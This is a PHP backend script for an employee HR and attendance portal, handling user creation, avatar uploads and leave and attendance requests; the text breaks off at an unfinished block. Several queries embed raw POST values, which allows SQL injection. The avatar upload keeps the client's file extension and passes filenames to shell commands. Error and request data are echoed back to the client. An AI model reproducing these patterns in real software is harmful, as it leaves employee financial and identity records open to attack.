<?php
// ini_set('display_errors', 1);
// ini_set('display_startup_errors', 1);
// error_reporting(E_ALL);
require_once "../config.php";
require_once "../mail/sendMail.php";
require_once "../mail/paySlipMail.php";
require_once "../salaryCodeCalculate.php";
require_once('../salaryCode.php');

$emp_id = $_SESSION['emp_id'];
$user_name = $_SESSION['user_name'];
$user_id = $_SESSION['user_id'];
$user_role = $_SESSION['user_role'];


// from addUsers.php
if (isset($_POST['addEmployeeId'])) {

    $name = mysqli_real_escape_string($db, $_POST['name']);
    $eid = mysqli_real_escape_string($db, $_POST['addEmployeeId']);
    $email = mysqli_real_escape_string($db, $_POST['email']);
    $phone = mysqli_real_escape_string($db, $_POST['phone']);
    $gender = mysqli_real_escape_string($db, $_POST['gender']);
    $dob = mysqli_real_escape_string($db, $_POST['dob']);
    $joiningDate = mysqli_real_escape_string($db, $_POST['joiningDate']);
    $full_time_date = mysqli_real_escape_string($db, $_POST['full_time_date']);
    $probationDate = mysqli_real_escape_string($db, $_POST['probationDate']);
    $noticePeriod = mysqli_real_escape_string($db, $_POST['noticePeriod']);
    $designation = mysqli_real_escape_string($db, $_POST['designation']);
    $leader = mysqli_real_escape_string($db, $_POST['leader']);
    $department = mysqli_real_escape_string($db, $_POST['department']);
    $role = mysqli_real_escape_string($db, $_POST['user_role']);
    $consider_as = mysqli_real_escape_string($db, $_POST['consider_as']);
    $loi_id = mysqli_real_escape_string($db, $_POST['loi_id']);
    $location = mysqli_real_escape_string($db, $_POST['location']);


    // ############################################
    $panNumber = mysqli_real_escape_string($db, $_POST['panNumber']);
    $accountNumber = mysqli_real_escape_string($db, $_POST['accountNumber']);
    $ifscCode = mysqli_real_escape_string($db, $_POST['ifscCode']);

    $havingESIStatus = mysqli_real_escape_string($db, $_POST['havingESIStatus']);
    $ESINo = mysqli_real_escape_string($db, $_POST['ESINo']);

    $havingUANStatus = mysqli_real_escape_string($db, $_POST['havingUANStatus']);
    $UANNo = mysqli_real_escape_string($db, $_POST['UANNo']);
    $optingPFStatus = mysqli_real_escape_string($db, $_POST['optingPFStatus']);
    $PFApplicabilityStatus = mysqli_real_escape_string($db, $_POST['PFApplicabilityStatus']);
    // ############################################


    $password = mysqli_real_escape_string($db, $_POST['password']);
    $cPassword = mysqli_real_escape_string($db, $_POST['cPassword']);

    $date = date("Y-m-d H:i:s");
    $hashEmail = preg_replace('/[^\w\s]/', '', base64_encode(sha1($email, true)));

    $eCount = mysqli_num_rows(mysqli_query($db, "select * from users where employee_id='$eid' "));
    if ($eCount == 0) {

        if ($password == $cPassword) {
            $pass = password_hash($password, PASSWORD_BCRYPT);

            $q = mysqli_query($db, "INSERT INTO `users` (`id`, `name`, `email`, `phone`, `gender`, `password`, `designation`, `department`, `leader`, `role`, `employee_id`, `dob`, `joining_date`, `full_time_date`, `probation_date`, `notice_period`, `pan_no`, `account_no`, `ifsc_code`, `esi_status`, `esi_no`, `uan_no_status`, `uan_no`, `opting_epf_status`, `epf_applicable_status`, hash_email, consider_as, loi_id, `location`) VALUES (NULL, '$name', '$email', '$phone', '$gender', '$pass', '$designation', '$department', '$leader', '$role', '$eid', '$dob', '$joiningDate', '$full_time_date', '$probationDate', '$noticePeriod', '$panNumber', '$accountNumber', '$ifscCode', '$havingESIStatus', '$ESINo', '$havingUANStatus', '$UANNo', '$optingPFStatus', '$PFApplicabilityStatus', '$hashEmail', '$consider_as', '$loi_id', '$location')");

            if ($q) {

                $u_id = mysqli_insert_id($db);
                $access_exist = mysqli_num_rows(mysqli_query($db, "SELECT id FROM files_permission WHERE user_id='$u_id'"));
                if($access_exist==0){
                    $q = mysqli_query($db, "INSERT INTO files_permission (user_id, permission) SELECT '$u_id', default_files_access FROM roles WHERE id='$role'");
                }

                newJoining(['e_name' => $name, 'e_email' => $email]);
                echo json_encode(["status"=>200, 'message'=>"User Added Successfully !"]);
            } else {
                echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
            }
        } else {
            echo json_encode(["status"=>500, 'message'=>"Passwords Should be Same !"]);
        }
    } else {
        echo json_encode(["status"=>500, 'message'=>"`$eid` This Employee Id already exist !"]);
    }
}

// from allUsers.php
if (isset($_POST['editUserId'])) {

    $name = mysqli_real_escape_string($db, $_POST['name']);
    $eid = mysqli_real_escape_string($db, $_POST['employeeId']);
    $email = mysqli_real_escape_string($db, $_POST['email']);
    $phone = mysqli_real_escape_string($db, $_POST['phone']);
    $gender = mysqli_real_escape_string($db, $_POST['gender']);
    $dob = mysqli_real_escape_string($db, $_POST['dob']);
    $joiningDate = mysqli_real_escape_string($db, $_POST['joiningDate']);
    $full_time_date = mysqli_real_escape_string($db, $_POST['full_time_date']);
    $probationDate = mysqli_real_escape_string($db, $_POST['probationDate']);
    $noticePeriod = mysqli_real_escape_string($db, $_POST['noticePeriod']);
    $designation = mysqli_real_escape_string($db, $_POST['designation']);
    $leader = mysqli_real_escape_string($db, $_POST['leader']);
    $department = mysqli_real_escape_string($db, $_POST['department']);
    $role = mysqli_real_escape_string($db, $_POST['user_role']);
    $consider_as = mysqli_real_escape_string($db, $_POST['consider_as']);
    $password = mysqli_real_escape_string($db, $_POST['password']);
    $cPassword = mysqli_real_escape_string($db, $_POST['cPassword']);
    $loi_id = mysqli_real_escape_string($db, $_POST['loi_id']);
    $location = mysqli_real_escape_string($db, $_POST['location']);


    // ############################################
    $panNumber = mysqli_real_escape_string($db, $_POST['panNumber']);
    $accountNumber = mysqli_real_escape_string($db, $_POST['accountNumber']);
    $ifscCode = mysqli_real_escape_string($db, $_POST['ifscCode']);

    $havingESIStatus = mysqli_real_escape_string($db, $_POST['havingESIStatus']);
    $ESINo = mysqli_real_escape_string($db, $_POST['ESINo']);

    $havingUANStatus = mysqli_real_escape_string($db, $_POST['havingUANStatus']);
    $UANNo = mysqli_real_escape_string($db, $_POST['UANNo']);
    $optingPFStatus = mysqli_real_escape_string($db, $_POST['optingPFStatus']);
    $PFApplicabilityStatus = mysqli_real_escape_string($db, $_POST['PFApplicabilityStatus']);
    // ############################################

    $edit_id = mysqli_real_escape_string($db, $_POST['editUserId']);
    $date = date("Y-m-d H:i:s");

    if (empty($password) && empty($cPassword)) {

        $q = mysqli_query($db, "UPDATE `users` SET `name`='$name', `email`='$email', `phone`='$phone', `designation`='$designation', `department`='$department', `leader`='$leader', `role`='$role', `employee_id`='$eid', `dob`='$dob', `joining_date`='$joiningDate', `full_time_date`='$full_time_date', `probation_date`='$probationDate', `pan_no`='$panNumber', `account_no`='$accountNumber', `ifsc_code`='$ifscCode', `esi_status`='$havingESIStatus', `esi_no`='$ESINo', `uan_no_status`='$havingUANStatus', `uan_no`='$UANNo', `opting_epf_status`='$optingPFStatus', `epf_applicable_status`='$PFApplicabilityStatus', `gender`='$gender', `notice_period`='$noticePeriod', consider_as='$consider_as', loi_id='$loi_id', `location`='$location' WHERE `id`='$edit_id' ");

        if ($q) {
            echo json_encode(["status"=>200, 'message'=>"User Updated Successfully !"]);
        } else {
            echo mysqli_error($db);
        }
    } else {
        if (empty($password)) {
            echo json_encode(["status"=>500, 'message'=>"Please Fill Both Password Fields !"]);
        } else if (empty($cPassword)) {
            echo json_encode(["status"=>500, 'message'=>"Please Fill Both Password Fields !"]);
        } else {

            if ($password == $cPassword) {
                $pass = password_hash($password, PASSWORD_BCRYPT);

                $q = mysqli_query($db, "UPDATE `users` SET `name`='$name', `email`='$email', `phone`='$phone', `designation`='$designation', `department`='$department', `leader`='$leader', `role`='$role', `employee_id`='$eid', `dob`='$dob', `joining_date`='$joiningDate', `probation_date`='$probationDate', `pan_no`='$panNumber', `account_no`='$accountNumber', `ifsc_code`='$ifscCode', `esi_status`='$havingESIStatus', `esi_no`='$ESINo', `uan_no_status`='$havingUANStatus', `uan_no`='$UANNo', `opting_epf_status`='$optingPFStatus', `epf_applicable_status`='$PFApplicabilityStatus', `gender`='$gender', `notice_period`='$noticePeriod', `password`='$pass', consider_as='$consider_as', loi_id='$loi_id', `location`='$location' WHERE `id`='$edit_id'  ");

                if ($q) {
                    echo json_encode(["status"=>200, 'message'=>"User Updated Successfully !"]);
                } else {
                    echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
                }
            } else {
                echo json_encode(["status"=>500, 'message'=>"Passwords Should be Same !"]);
            }
        }
    }
}

// from myProfile.php
if (isset($_FILES['myProfileAvatar']['name'])) {
    
    $path = '../images';
    $fileName = $_FILES['myProfileAvatar']['name'];
    $fileTempName = $_FILES['myProfileAvatar']['tmp_name'];

    if ($fileName != '') {
        // fetch old image for delete
        $oldFile = mysqli_fetch_assoc(mysqli_query($db, "select * from users where employee_id='$emp_id' "));
        $oldImage = $oldFile['image'];

        $extension = pathinfo($fileName, PATHINFO_EXTENSION);
        $newFileName = str_replace(" ", "_", $_POST['user_name']) . "_" . $_POST['emp_id'] . "_" . date("YmdHis") . "." . $extension;
        $newFileName = preg_replace("/'+/","", $newFileName);

        if (move_uploaded_file($fileTempName, "$path/$newFileName")) {

            $image_path = "/home/jobaajgroup/public_html/emp3.jobaaj.com/images/";
            $pro_escape = escapeshellarg($newFileName);
            $node_compress_script = shell_exec("node /home/jobaajgroup/public_html/compress_image/compress_img.js $image_path $image_path $pro_escape");
            $image_path .= $pro_escape;
            $output_of_shell = shell_exec("php /home/jobaajgroup/public_html/s3_scripts/upload_file_to_s3.php nishtya content/employee/images/ $image_path");
            if($output_of_shell == "File uploaded"){
                shell_exec("rm $image_path");
                echo json_encode(['status'=>200, 'msg'=>'File Uploaded' , 'filename' => $newFileName ,  'files'=> $_FILES, 'post'=>$_POST]);
            }else{
                echo json_encode(['status'=>2, 'msg'=>'Img Not Uploaded s3', 'output'=>$output_of_shell, 'files'=> $_FILES, 'post'=>$_POST]);
            }

        } else {
            echo json_encode(['status'=>2, 'msg'=>'Img Not Uploaded', 'files'=> $_FILES, 'post'=>$_POST]);

        }
    } else {
        echo json_encode(['status'=>3, 'msg'=>'Img not available', 'files'=> $_FILES, 'post'=>$_POST]);
    }
}

if(isset($_POST['update_image_file'])){

    $newFileName = mysqli_real_escape_string($db, $_POST['update_image_file']);
    $q = mysqli_query($db, "update users set image='$newFileName' where employee_id='$emp_id' ");

    if ($q) {
        $_SESSION['image'] = $newFileName;
        echo json_encode(['status'=>200, 'msg'=>'Name updated' , 'filename' => $newFileName , 'post'=>$_POST]);
    } else {
        echo json_encode(['status'=>1, 'msg'=>'Something Went Wrong', 'error'=> mysqli_error($db) , 'post'=>$_POST]);
    }
    
}

// from requestLeave.php
if (isset($_POST['requestLeave'])) {

    $dateArray = array();
    $leaveDate = mysqli_real_escape_string($db, $_POST['leaveDate']);
    $leaveReason = mysqli_real_escape_string($db, $_POST['leaveReason']);

    // echo strpos($leaveDate, 'to');

    if (strpos($leaveDate, 'to') == false) {
        array_push($dateArray, $leaveDate);
    } else {
        list($exDate1, $exDate2) = explode("to", $leaveDate);

        while (strtotime($exDate1) <= strtotime($exDate2)) {

            array_push($dateArray, $exDate1);
            $exDate1 = date("d M Y", strtotime("$exDate1 +1 day"));
        }
    }

    // print_r($dateArray);
    // echo "<br>";

    $ls = mysqli_query($db, "select * from request_leave where employee_id='$emp_id' and created_at>now()-interval 30 day ");

    while ($exist = mysqli_fetch_assoc($ls)) {

        if (strpos($exist['leave_date'], 'to') == false) {

            if (in_array($exist['leave_date'], $dateArray)) {
                echo json_encode(["status"=>500, 'message'=>"You have already requested for this date:- " . $exist['leave_date'] ]);
                exit();
            }
        } else {
            list($exDate1, $exDate2) = explode("to", $exist['leave_date']);
            // echo $exDate1 . "<br>";
            // echo $exDate2 . "<br>";

            foreach ($dateArray as $date) {

                if ((strtotime(trim($exDate1)) <= strtotime($date)) && (strtotime(trim($exDate2)) >= strtotime($date))) {
                    echo json_encode(["status"=>500, 'message'=>"You have already requested for this date:- " . $date ]);
                    exit();
                }
            }
        }
    }

    $q = mysqli_query($db, "INSERT INTO `request_leave` (`id`, `employee_id`, `leave_date`, `leave_type`, `leave_reason`) VALUES (NULL, '$emp_id', '$_POST[leaveDate]', '$_POST[leaveType]', '$leaveReason') ");

    if ($q) {

        // #########################
        if (strpos($leaveDate, 'to') != false) {
            $lDate = explode('to', $leaveDate);
            $date1 = date_create(date("Y-m-d", strtotime($lDate[0])));
            $date2 = date_create(date("Y-m-d", strtotime($lDate[1])));
            $diff = date_diff($date1, $date2);
            $diffNum =  $diff->format("%a");
        } else {
            $diffNum = 0;
        }
        // #########################

        $r = array($emp_id, $_POST['leaveDate'], $_POST['leaveType'], $leaveReason, $diffNum);
        // $res = sendEmployeeRequest($r);
        // if ($res == 1) {
            echo json_encode(["status"=>200, 'message'=>'Leave Request Send Successfully!']);
        // } else {
        //     echo json_encode(["status"=>200, 'message'=>'Mail not send']);
        // }
    } else {
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }

}
// from requestLeave.php
if (isset($_POST['request_id'])) {

    $remark = mysqli_real_escape_string($db, $_POST['remark']);

    // echo json_encode($_POST);
    
    if ($_POST['req_status'] == 1) {

        $id = mysqli_fetch_assoc(mysqli_query($db, "select * from request_leave where id='$_POST[request_id]' "));
        // echo json_encode($id);
        $date = explode("to", $id['leave_date']);
        $from = '';
        $to = '';
        if (sizeof($date) == 2) {
            $from = date('Y-m-d', strtotime(trim($date[0])));
            $to = date('Y-m-d', strtotime(trim($date[1])));
        } else {
            $from = date('Y-m-d', strtotime(trim($date[0])));
            $to = $from;
        }

        $att_exist = mysqli_query($db, "SELECT * FROM attendance where employee_id='$id[employee_id]' and attendance_status not in('Week Off','Holiday') and (str_to_date(which_month,'%M %d %Y') between '$from' and '$to') ");
        if(mysqli_num_rows($att_exist)>0){

            // #######################################################
            $rData = mysqli_query($db, "SELECT * from attendance where employee_id='$id[employee_id]' and attendance_status not in('Week Off','Holiday') and (str_to_date(which_month,'%M %d %Y') between '$from' and '$to') ");
            $finalColumnsValue = '';
            while ($reData = mysqli_fetch_assoc($rData)) {
                $aValues = array_slice($reData, 0, 6);
                $aValues = array_values($aValues);
                // array_pop($aValues);
                $finalColumnsValue .= "('" . implode("','", $aValues) . "'),";
            }
            $finalColumnsValue = trim($finalColumnsValue, ',');
            $qi = mysqli_query($db, "INSERT into attendance_change (attendance_id,employee_id,attendance_status,punch_in,punch_out,which_month) values $finalColumnsValue  ");
            if ($qi) {
                // echo "insert";
            } else {
                echo mysqli_error($db);
                exit();
            }
            // ####################################
    
    
            $aq = mysqli_query($db, "UPDATE attendance set attendance_status='$id[leave_type]', attendance_change=1, attendance_change_reason='Change by Leave Request' where employee_id='$id[employee_id]' and attendance_status not in('Week Off','Holiday') and (str_to_date(which_month,'%M %d %Y') between '$from' and '$to') ");
    
            if ($aq) {
                // echo 'Attendance Status Change Successfully.';
            } else {
                echo mysqli_error($db);
                exit();
            }

        }

    }

    $q = mysqli_query($db, "UPDATE `request_leave` SET `leave_status`='$_POST[req_status]', `remark`='$remark', `status_by`='$emp_id' WHERE `id`='$_POST[request_id]' ");

    if ($q) {

        // $res = sendRequestStatus(array($_POST['request_id'], 'RequestStatus'));
        // if ($res == 1) {
            // if ($_POST['req_status'] == 1) {
            // echo "<script>alert('Request Approved Successfully !');</script>";
            echo 1;
            // } else if ($_POST['req_status'] == 2) {
            // echo "<script>alert('Request Rejected Successfully !');</script>";
            // echo 1;
            // } else {
            // }
        // } else {
        //     // echo "<script>alert('Mail not send !');</script>";
        // }
    } else {
        echo mysqli_error($db);
    }
}


function auto_approved_issue_date($remark, $onDate, $issue_id, $attendance_status, $req_status, $emp_id){

    // print_r($_POST);

    if ($req_status == 1) {

        $id = mysqli_fetch_assoc(mysqli_query($GLOBALS['db'], "select * from issue_with_date where id='$issue_id' "));

        $date = explode("to", $onDate);
        $from = '';
        $to = '';
        if (sizeof($date) == 2) {
            $from = date('Y-m-d', strtotime(trim($date[0])));
            $to = date('Y-m-d', strtotime(trim($date[1])));
        } else {
            $from = date('Y-m-d', strtotime(trim($date[0])));
            $to = $from;
        }


        // #######################################################
        // $issue_att_sql = <<<EOT
        //     SELECT 
        //         *, 
        //         (CASE
        //             WHEN TIME_FORMAT(str_to_date(punch_in, '%h:%i %p'),'%H:%i')<='10:15' AND TIME_FORMAT(TIMEDIFF(str_to_date(punch_out, '%h:%i %p'), str_to_date(punch_in, '%h:%i %p')),'%H:%i')>='08:45' THEN 1
        //             ELSE 0
        //         END) as k,
        //         TIME_FORMAT(str_to_date(punch_in, '%h:%i %p'),'%H:%i') as new_punch_in, 
        //         TIME_FORMAT(str_to_date(punch_out, '%h:%i %p'),'%H:%i') as new_punch_out,
        //         TIME_FORMAT(TIMEDIFF(str_to_date(punch_out, '%h:%i %p'), str_to_date(punch_in, '%h:%i %p')),'%H:%i') as hour
        //     from attendance 
        //     where employee_id='$id[employee_id]' 
        //     and attendance_status not in('Week Off','Holiday')
        //     AND COALESCE(punch_in,'')<>'' 
        //     AND COALESCE(punch_out,'')<>'' 
        //     and (str_to_date(which_month,'%M %d %Y') between '$from' and '$to') 
        //     AND (CASE
        //         WHEN TIME_FORMAT(str_to_date(punch_in, '%h:%i %p'),'%H:%i')<='10:15' AND TIME_FORMAT(TIMEDIFF(str_to_date(punch_out, '%h:%i %p'), str_to_date(punch_in, '%h:%i %p')),'%H:%i')>='08:45' THEN 1
        //         ELSE 0
        //     END)=1;
        // EOT;
        $issue_att_sql = <<<EOT
            SELECT 
                *, 
                (CASE
                    WHEN TIME_FORMAT(str_to_date(punch_in, '%h:%i %p'),'%H:%i')<='10:15' AND TIME_FORMAT(TIMEDIFF(str_to_date(punch_out, '%h:%i %p'), str_to_date(punch_in, '%h:%i %p')),'%H:%i')>='08:45' THEN 1
                    ELSE 0
                END) as k,
                TIME_FORMAT(str_to_date(punch_in, '%h:%i %p'),'%H:%i') as new_punch_in, 
                TIME_FORMAT(str_to_date(punch_out, '%h:%i %p'),'%H:%i') as new_punch_out,
                TIME_FORMAT(TIMEDIFF(str_to_date(punch_out, '%h:%i %p'), str_to_date(punch_in, '%h:%i %p')),'%H:%i') as hour
            from attendance 
            where employee_id='$id[employee_id]' 
            and attendance_status not in('Week Off','Holiday')
            AND COALESCE(punch_in,'')<>'' 
            AND COALESCE(punch_out,'')<>'' 
            and (str_to_date(which_month,'%M %d %Y') between '$from' and '$to')
        EOT;
        $rData = mysqli_query($GLOBALS['db'], $issue_att_sql);
        if(mysqli_num_rows($rData)==0){
            return false;
        }

        $finalColumnsValue = [];
        $attendance_ids = [];
        while ($reData = mysqli_fetch_assoc($rData)) {
            ##########################################################################################
            $policy_applicable_from = date("Y-m", strtotime($reData['which_month']));
            $work_policy = mysqli_fetch_assoc(mysqli_query($GLOBALS['db'], "SELECT * FROM work_policy WHERE employee_id='$reData[employee_id]' AND applicable_from<='$policy_applicable_from' AND (CASE WHEN COALESCE(applicable_to, '')='' THEN DATE_FORMAT(CURRENT_DATE, '%Y-%m') ELSE applicable_to END)>=DATE_FORMAT(CURRENT_DATE, '%Y-%m') "));
            if(empty($work_policy)){
                // echo 'Work Policy Not Defined for Employee ID:- ' . $reData['employee_id'];
                $check_punch_in = '10:15 AM';
                $check_punch_out = '7:00 PM';
                // $check_hours = '08:45';
                $check_hours_seconds = strtotime($check_punch_out) - strtotime($check_punch_in);
            }else{
                // echo 'Work Policy Defined for Employee ID:- ' . $reData['employee_id'];
                $check_punch_in = date("h:i A", strtotime($work_policy['auto_approve_from']));
                $check_punch_out = date("h:i A", strtotime($work_policy['auto_approve_to']));
                // $check_hours = date("H:i", (strtotime($check_punch_out) - strtotime($check_punch_in)));
                $check_hours_seconds = strtotime($check_punch_out) - strtotime($check_punch_in);
            }

            // Convert working hours to seconds for proper comparison
            $punch_in_time  = strtotime($reData['punch_in']);
            $punch_out_time = strtotime($reData['punch_out']);
            $check_in_time  = strtotime($check_punch_in);
            $worked_seconds = $punch_out_time - $punch_in_time;

            if ($punch_in_time <= $check_in_time && $worked_seconds >= $check_hours_seconds) {
                // echo "yes";
            }else{
                continue;
            }
            ##########################################################################################


            $aValues = array_slice($reData, 0, 6);
            $aValues = array_values($aValues);
            // array_pop($aValues);
            $finalColumnsValue[] = "('" . implode("','", $aValues) . "')";

            $attendance_ids[] = $reData['id'];
        }
        ##########################################################################################


        ##########################################################################################
        if (empty($finalColumnsValue)) {
            return false;
        }
        $finalColumnsValue = implode(',', $finalColumnsValue);
        $qi = mysqli_query($GLOBALS['db'], "insert into attendance_change (attendance_id,employee_id,attendance_status,punch_in,punch_out,which_month) values $finalColumnsValue  ");
        if ($qi) {
            // echo "insert";
        } else {
            // echo mysqli_error($db);
        }
        ##########################################################################################


        ##########################################################################################
        if (empty($attendance_ids)) {
            return false;
        }
        $attendance_ids = implode(',', $attendance_ids);
        $issue_att_sql_update = <<<EOT
        UPDATE attendance 
        set attendance_status='$attendance_status', attendance_change=1, attendance_change_reason='Change by Issue Request Auto Approve'
        where id in ($attendance_ids)
        and employee_id='$id[employee_id]'
        EOT;
        $aq = mysqli_query($GLOBALS['db'], $issue_att_sql_update);
        if ($aq) {
            // echo 'Attendance Status Change Successfully.';
        } else {
            // echo mysqli_error($db);
        }
        ##########################################################################################


        ##########################################################################################
        $q = mysqli_query($GLOBALS['db'], "UPDATE `issue_with_date` SET `issue_status`='$req_status', `remark`='$remark', `status_by`='$emp_id', `issue_type`='$attendance_status' WHERE `id`='$issue_id' ");
        if ($q) {
            // $res = sendRequestStatus(array($issue_id, 'IssueStatus'));
            // if ($res == 1) {
                // if ($_POST['req_status'] == 1) {
                // echo "<script>alert('Request Approved Successfully !');</script>";
                return 1;
                // } else if ($_POST['req_status'] == 2) {
                // echo "<script>alert('Request Rejected Successfully !');</script>";
                // echo 1;
                // } else {
                // }
            // } else {
            //     // echo "<script>alert('Mail not send !');</script>";
            // }
        } else {
            return mysqli_error($GLOBALS['db']);
        }
        ##########################################################################################
    }


}


// from issueDate.php
if (isset($_POST['issueRequest'])) {

    $dateArray = array();
    $leaveDate = mysqli_real_escape_string($db, $_POST['issueDate']);
    $issueNote = mysqli_real_escape_string($db, $_POST['issueNote']);
    $request_for_attendance = mysqli_real_escape_string($db, $_POST['request_for_attendance']);

    // echo strpos($leaveDate, 'to');

    if (strpos($leaveDate, 'to') == false) {
        array_push($dateArray, date("Y-m-d", strtotime($leaveDate)));
    } else {
        list($exDate1, $exDate2) = explode("to", $leaveDate);

        while (strtotime($exDate1) <= strtotime($exDate2)) {

            array_push($dateArray, date("Y-m-d", strtotime($exDate1)));
            $exDate1 = date("d M Y", strtotime("$exDate1 +1 day"));
        }
    }

    // print_r($dateArray);
    // echo "<br>";

    #########################################################################################
    // Check if the user has already requested for the same date in the last 30 days
    // This is to avoid duplicate requests for the same date
    $ls = mysqli_query($db, "select * from issue_with_date where employee_id='$emp_id' and created_at>now()-interval 30 day ");
    while ($exist = mysqli_fetch_assoc($ls)) {
        foreach ($dateArray as $key => $value) {
            // check value in between issue_date_start and issue_date_end we have already columns issue_date_start and issue_date_end with formate Y-m-d
            if ($exist['issue_date_start'] <= $value && $exist['issue_date_end'] >= $value) {
                echo json_encode(["status"=>500, 'message'=>"You have already requested for this date:- " . $exist['issue_date'] ]);
                exit();
            }
        }
    }
    #########################################################################################
    
    $issue_date_start = $dateArray[0];
    $issue_date_end = end($dateArray);
    
    #########################################################################################
    // punch in and punch out time is missing in issue with date
    // if the issue date is single day then punch in and punch out time will be same
    // if(in_array($request_for_attendance, ['Set off with Week Off', 'Set off with Week Off HD'])){
    //     $range_month = date("Y-m", strtotime($issue_date_start));
    //     $worked_on_week_off_attendance_count = mysqli_num_rows(mysqli_query($db, "SELECT id FROM attendance WHERE employee_id='$emp_id' AND attendance_status='Worked on Week Off' AND (str_to_date(which_month,'%M %d %Y') LIKE  '$range_month%')")) ?? 0;
    //     $worked_on_week_off_hd_attendance_count = mysqli_num_rows(mysqli_query($db, "SELECT id FROM attendance WHERE employee_id='$emp_id' AND attendance_status='Worked on Week Off HD' AND (str_to_date(which_month,'%M %d %Y') LIKE  '$range_month%')")) ?? 0;
    //     $total_week_off_attendance_count = $worked_on_week_off_attendance_count + $worked_on_week_off_hd_attendance_count/2;

    //     $worked_on_week_off_issue_count = mysqli_num_rows(mysqli_query($db, "SELECT * from issue_with_date where employee_id='$emp_id' and request_for='Set off with Week Off' AND (issue_date_start LIKE '$range_month%' OR issue_date_end LIKE '$range_month%')")) ?? 0;
    //     $worked_on_week_off_hd_issue_count = mysqli_num_rows(mysqli_query($db, "SELECT * from issue_with_date where employee_id='$emp_id' and request_for='Set off with Week Off HD' AND (issue_date_start LIKE '$range_month%' OR issue_date_end LIKE '$range_month%')")) ?? 0;
    //     $total_week_off_issue_count = $worked_on_week_off_issue_count + $worked_on_week_off_hd_issue_count/2;

    //     if($total_week_off_issue_count >= $total_week_off_attendance_count) {
    //         echo json_encode(["status"=>500, 'message'=>"You have already used `Set Off With Week Off` or `Set Off With Week Off HD` for this month."]);
    //         exit();
    //     }

    //     $left_count = $total_week_off_attendance_count - $total_week_off_issue_count;
    //     if($left_count==0){
    //         // No more week off available
    //         echo json_encode(["status"=>500, 'message'=>"You have no more `Set Off With Week Off` or `Set Off With Week Off HD` left for this month."]);
    //         exit();
    //     }else if($left_count==0.5){
    //         // allow only set off with week off hd
    //         if($request_for_attendance=='Set off with Week Off HD'){
    //             // Allow the request
    //         }else{
    //             echo json_encode(["status"=>500, 'message'=>"You have only $left_count `Set Off With Week Off` or `Set Off With Week Off HD` left for this month."]);
    //             exit();
    //         }
    //     }else if($left_count==1){
    //         // allow only set off with week off
    //         if($request_for_attendance=='Set off with Week Off' || $request_for_attendance=='Set off with Week Off HD'){
    //             // Allow the request
    //         }else{
    //             echo json_encode(["status"=>500, 'message'=>"You have only $left_count `Set Off With Week Off` or `Set Off With Week Off HD` left for this month."]);
    //             exit();
    //         }
    //     }

    // }else 

    if(!in_array($request_for_attendance, ['Present', 'Half Day', 'Work From Home', 'Holiday'])) {
        // not allowed
        echo json_encode(['status'=> 500,'message'=> 'Request for attendance type not allowed.']);
        exit();
    }

    if(!in_array($request_for_attendance, ['Work From Home', 'Holiday'])) {
        $attendance = mysqli_query($db, "SELECT * FROM attendance WHERE employee_id='$emp_id' AND attendance_status NOT IN ('Week Off', 'Holiday') AND str_to_date(which_month, '%M %d %Y') BETWEEN '$issue_date_start' AND '$issue_date_end'");
        while($att = mysqli_fetch_assoc($attendance)) {

            // punch is missing
            if(empty($att['punch_in']) || empty($att['punch_out'])) {
                echo json_encode(["status"=>500, 'message'=>"punch in or punch out time missing for the date: " . $att['which_month']]);
                exit();
            }

            // check week day
            $policy_applicable_from = date("Y-m", strtotime($att['which_month']));
            $work_policy = mysqli_fetch_assoc(mysqli_query($db, "SELECT * FROM work_policy WHERE employee_id='$emp_id' AND applicable_from<='$policy_applicable_from' AND (CASE WHEN COALESCE(applicable_to, '')='' THEN DATE_FORMAT(CURRENT_DATE, '%Y-%m') ELSE applicable_to END)>=DATE_FORMAT(CURRENT_DATE, '%Y-%m') "));
            if(!empty($work_policy['working_days'])){
                $working_days = json_decode($work_policy['working_days'], true);
            }else{
                $working_days = [];
            }
            $dayOfWeek = date('l', strtotime($att['which_month']));
            if (is_array($working_days) && !empty($working_days)) {
                if (!in_array($dayOfWeek, $working_days)) {
                    echo json_encode(["status"=>500, 'message'=>"You are trying to request for week day: " . $att['which_month']]);
                    exit();
                }
            }else if($dayOfWeek == 'Sunday'){
                echo json_encode(["status"=>500, 'message'=>"You are trying to request for week day: " . $att['which_month']]);
                exit();
            }

            // not request after particular time
            if(!empty($work_policy) && !empty($work_policy['not_request_after'])){
                if(strtotime($att['punch_in']) > strtotime($work_policy['not_request_after'])) {
                    echo json_encode(["status"=>500, 'message'=>"punch in time should be before {$work_policy['not_request_after']} for the date: " . $att['which_month']]);
                    exit();
                }
            }else{
                // check punch in is greater than or equal to 12 PM
                if(strtotime($att['punch_in'])>strtotime('05:00 PM') && strtotime($att['punch_in']) > strtotime('06:00 PM')) {
                    echo json_encode(["status"=>500, 'message'=>"punch in time should be before 06 PM for the date: " . $att['which_month']]);
                    exit();
                }
                if(strtotime($att['punch_in']) < strtotime('05:00 PM') && strtotime($att['punch_in']) > strtotime('12:00 PM')) {
                    echo json_encode(["status"=>500, 'message'=>"punch in time should be before 12 PM for the date: " . $att['which_month']]);
                    exit();
                }
            }
        }
    }
    #########################################################################################



    $q = mysqli_query($db, "INSERT INTO `issue_with_date` (`id`, `employee_id`, `issue_date`, `issue_note`, `request_for`, issue_date_start, issue_date_end) VALUES (NULL, '$emp_id', '$_POST[issueDate]', '$issueNote', '$request_for_attendance', '$issue_date_start', '$issue_date_end') ");
    if ($q) {
        $insert_id = mysqli_insert_id($db);
        // #########################
        if (strpos($leaveDate, 'to') != false) {
            $lDate = explode('to', $leaveDate);
            $date1 = date_create(date("Y-m-d", strtotime($lDate[0])));
            $date2 = date_create(date("Y-m-d", strtotime($lDate[1])));
            $diff = date_diff($date1, $date2);
            $diffNum =  $diff->format("%a");
        } else {
            $diffNum = 0;
        }
        // #########################

        $r = array($emp_id, $_POST['issueDate'], '', $_POST['issueNote'], $diffNum);
        // $res = sendEmployeeRequest($r);
        // if ($res == 1) {

            // ########################################################## auto approved
            if(strpos($leaveDate, 'to') == false){
                auto_approved_issue_date('Auto Approved', $leaveDate, $insert_id, 'Present', '1','');
            }
            // ########################################################## auto approved


            echo json_encode(["status"=>200, 'message'=>'Issue request send successfully!']);
        // } else {
        //     echo json_encode(["status"=>200, 'message'=>'Mail not send']);
        // }
    } else {
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
}
// from issueDate.php
if (isset($_POST['issue_id'])) {

